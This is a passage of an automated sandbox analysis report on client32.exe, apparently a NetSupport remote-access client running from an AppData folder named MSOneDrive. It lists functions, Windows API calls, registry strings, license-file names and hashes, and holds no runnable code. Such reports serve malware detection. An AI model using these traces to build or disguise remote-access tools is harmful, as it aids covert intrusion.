Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: ErrorLast_strncpygethostbynameinet_addr
String ID: Cannot resolve hostname %s, error %d$Gateway_WebProxy
API String ID: 2603238076-4066638241
Opcode ID: 48722d780a63b1f606c47696aa235d67322c141eed464152551ff3cba1eef626
Instruction ID: fb71b2fb066db2eb72145df06a0eec2b4730f70f8181b12f6a646caf712de4b7
Opcode Fuzzy Hash: 48722d780a63b1f606c47696aa235d67322c141eed464152551ff3cba1eef626
Instruction Fuzzy Hash: 1E21EA31A012199BDB30DB69CD40FDAB3F8EF45218F4089A9E949DB740EF759948CBE1

Function 11134660 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111346D0
RegCloseKey.ADVAPI32(?), ref: 11134734

Strings

ForceRTL, xrefs: 111346F3
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 111346B0
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11134697, 111346CE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 9d12ddab663f0bade2c9311f31fb996a2d55a49d3ba79c2b1d99accddb9a637b
Instruction ID: 7a7cfa5f29f4a3e9be51cc667e7100b43bb54833ec5544d3ab887deb0b5b3a13
Opcode Fuzzy Hash: 9d12ddab663f0bade2c9311f31fb996a2d55a49d3ba79c2b1d99accddb9a637b
Instruction Fuzzy Hash: F9210AB9E5062ADBE721DE64CD80FDAF7B8AB85319F1041AAD81DF3244D630DD448BA0

Function 111049C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11104920: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110494A
Part of subcall function 11104920: __wsplitpath.LIBCMT ref: 11104965
Part of subcall function 11104920: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 11104999

GetComputerNameA.KERNEL32(?,?), ref: 11104A68

Strings

\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11104A10
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11104A77
ACM, xrefs: 11104A22
, xrefs: 11104A61

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 901a4ed7de8df71ce125f945868b5c0093e215064daac697b613a1a223286f3b
Instruction ID: e7f9985d51565af38080bde2b7bad96e9363af9279f09dbbe9d4585dd592ed72
Opcode Fuzzy Hash: 901a4ed7de8df71ce125f945868b5c0093e215064daac697b613a1a223286f3b
Instruction Fuzzy Hash: 72214636E441859AE701CE709EC0BFFBFAADF85214F0481ACEC52C7502E726EA04C790

Function 11133650 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11133070: GetCurrentProcess.KERNEL32(11027FDF,?,111332C3,?), ref: 1113307C
Part of subcall function 11133070: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\MSOneDrive\client32.exe,00000104,?,111332C3,?), ref: 11133099

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 111336A5
ResetEvent.KERNEL32(00000250), ref: 111336B9
SetEvent.KERNEL32(00000250), ref: 111336CF
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 111336DE

Strings

MiniDump, xrefs: 11133657

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: 6a23f2a9de3140760915938baa0324fa1df2816b93868bf2c807555fc190a424
Instruction ID: 2f84af38c29f256cee2cc1ffc865d9f7da14dec3b61b68d8c3c8670bee4004e0
Opcode Fuzzy Hash: 6a23f2a9de3140760915938baa0324fa1df2816b93868bf2c807555fc190a424
Instruction Fuzzy Hash: D8112CB29242257FD700DBA89C85F9AF7989B44739F104234F924D73C8EA71E600CBB9

Function 11135DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 11135DCF
wsprintfA.USER32 ref: 11135E06

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

#%d, xrefs: 11135E00
..\ctl32\util.cpp, xrefs: 11135E1B
i < _tsizeof (buf), xrefs: 11135E20

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 0eaf82f8904d0e89491818307a0e8bd6524ff2e2b8cd6c2dac824670f33672ca
Instruction ID: 856d5068e0010e8f5460d586c9b7f9a33cbca200768314754285dae5934ecd8a
Opcode Fuzzy Hash: 0eaf82f8904d0e89491818307a0e8bd6524ff2e2b8cd6c2dac824670f33672ca
Instruction Fuzzy Hash: 9111E9FAD101296BC710DA65DD85F9AF76C9B84719F004164EF04B7149EA30AA0587A4

Function 11102870 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11102889

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

wsprintfA.USER32 ref: 111028A4

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

_memset.LIBCMT ref: 111028C7

Strings

..\ctl32\Refcount.cpp, xrefs: 111028B5
Can't alloc %u bytes, xrefs: 1110289E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: d3963ed258874b49d6020dc6d10e6edddcef5a371903b28941bd5c66df2d9fea
Instruction ID: 86aa9e5bcbae8f8c2bc6393a2fe4af4140ad48230e9cd7b97cb8b02b288cada0
Opcode Fuzzy Hash: d3963ed258874b49d6020dc6d10e6edddcef5a371903b28941bd5c66df2d9fea
Instruction Fuzzy Hash: 24F0F6BAE0012867C7109AA5AC41FDFF7AC9F82608F4000A9FE0467142EA70AB01CBE5

Function 1102FC90 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1102FD46

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

m_pDoInv == NULL, xrefs: 1102FCC3
clientinv.cpp, xrefs: 1102FCBE
%s%s.bin, xrefs: 1102FD40
494126, xrefs: 1102FD27

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$494126$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-641825243
Opcode ID: 5c7d3b0ce6cdb17c67caba4e79f62d2df26f4e5501008924e72aac950388db45
Instruction ID: 34a2fd1cf9ce17e411a54b0388ef97a3e351311eb6f0b41dc2420f2fea7f0bd6
Opcode Fuzzy Hash: 5c7d3b0ce6cdb17c67caba4e79f62d2df26f4e5501008924e72aac950388db45
Instruction Fuzzy Hash: 022190B5E00709AFD710DF25CC80BABB7E5FB44758F10852DEC5597781EA34A8008B51

Function 11133AC0 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11134108,00000000,?,11134108,00000000), ref: 11133ADC
__strdup.LIBCMT ref: 11133AF7

Part of subcall function 1107C480: _strrchr.LIBCMT ref: 1107C48E

Part of subcall function 11133AC0: _free.LIBCMT ref: 11133B1E

_free.LIBCMT ref: 11133B2C

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

CreateDirectoryA.KERNEL32(11134108,00000000,?,?,?,11134108,00000000), ref: 11133B37

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 003d8b81bd00a6845321ecaa249ead445a6f39f9a1119b8ade07daca962c11ae
Instruction ID: aa2e0163475f2b812501e4eb99de98075b3d8b88882ce7cf24685a9f1b499ad4
Opcode Fuzzy Hash: 003d8b81bd00a6845321ecaa249ead445a6f39f9a1119b8ade07daca962c11ae
Instruction Fuzzy Hash: 8801F977B381125AF301157D6D06BBBBB898BC26BEF084131F81DC6388F656E40641AA

Function 1100ED20 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100ED52

Part of subcall function 1114F2A4: _setlocale.LIBCMT ref: 1114F2B6

_free.LIBCMT ref: 1100ED64

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

_free.LIBCMT ref: 1100ED77
_free.LIBCMT ref: 1100ED8A
_free.LIBCMT ref: 1100ED9D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: 9bfe9a0044719da1540a6c3a3859510d02c70a70b416b29b9435fc6d5270a75b
Instruction ID: 588ec97cc091706e3c2c0aaa6ce4e6b1d1c1f942a88aaefcf008b7de89352c8d
Opcode Fuzzy Hash: 9bfe9a0044719da1540a6c3a3859510d02c70a70b416b29b9435fc6d5270a75b
Instruction Fuzzy Hash: F011C4F1E00A509BDB20CF5DDC45A0BFBECEF41A58F144A2AE466D3740E771F9048A62

Function 11134C40 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11133F90: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11182A50), ref: 11133FFD
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110291B), ref: 1113403E
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1113409B

wsprintfA.USER32 ref: 11134C6E
wsprintfA.USER32 ref: 11134C84

Part of subcall function 11132680: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110291B,75A38400,?), ref: 11132717
Part of subcall function 11132680: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11132737
Part of subcall function 11132680: CloseHandle.KERNEL32(00000000), ref: 1113273F

Strings

NSM.LIC, xrefs: 11134C53
%sNSA.LIC, xrefs: 11134C7E
%sNSM.LIC, xrefs: 11134C68

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 6f9fb2a0753f6b8cd2e83ce6ab7fdde4b6155579ab5954c43e92d8c6d65f5ec9
Instruction ID: 9c67431b43c70ff94c5574da105f7ccddca851e71d4d99b5eda6b1c9b98572d3
Opcode Fuzzy Hash: 6f9fb2a0753f6b8cd2e83ce6ab7fdde4b6155579ab5954c43e92d8c6d65f5ec9
Instruction Fuzzy Hash: 180124BAD0420966CB10DBA19C45FEBF7AC8F4421DF000196EC1997144ED20BA04CBD5

Function 110F6330 Relevance: 7.5, APIs: 5, Instructions: 44threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11083B60: UnhookWindowsHookEx.USER32(?), ref: 11083B83

GetCurrentThreadId.KERNEL32 ref: 110F634B
GetThreadDesktop.USER32(00000000), ref: 110F6352
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 110F6362
SetThreadDesktop.USER32(00000000), ref: 110F636F
CloseDesktop.USER32(00000000), ref: 110F6376

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseCurrentHookOpenUnhookWindows
String ID:
API String ID: 2408936056-0
Opcode ID: bf5bd5ec6e24239bd4284135f98232e0e3e86c08e23b3486cbd5775944da8910
Instruction ID: 33a7dbd132630a5f65e042d10e45e308f8ac0c24a7c2882920133d3588b1205b
Opcode Fuzzy Hash: bf5bd5ec6e24239bd4284135f98232e0e3e86c08e23b3486cbd5775944da8910
Instruction Fuzzy Hash: 5EF0C87BF056252FD70267B19C49B7F7A169FC5669F080024F5055B240FF14750183E6

Function 11132680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110291B,75A38400,?), ref: 11132717
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11132737
CloseHandle.KERNEL32(00000000), ref: 1113273F

Strings

", xrefs: 111326CE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: d102bea1e6aa5fe3566526d06b5f8e35bf021a81daf64ee8083e2d945d049b8f
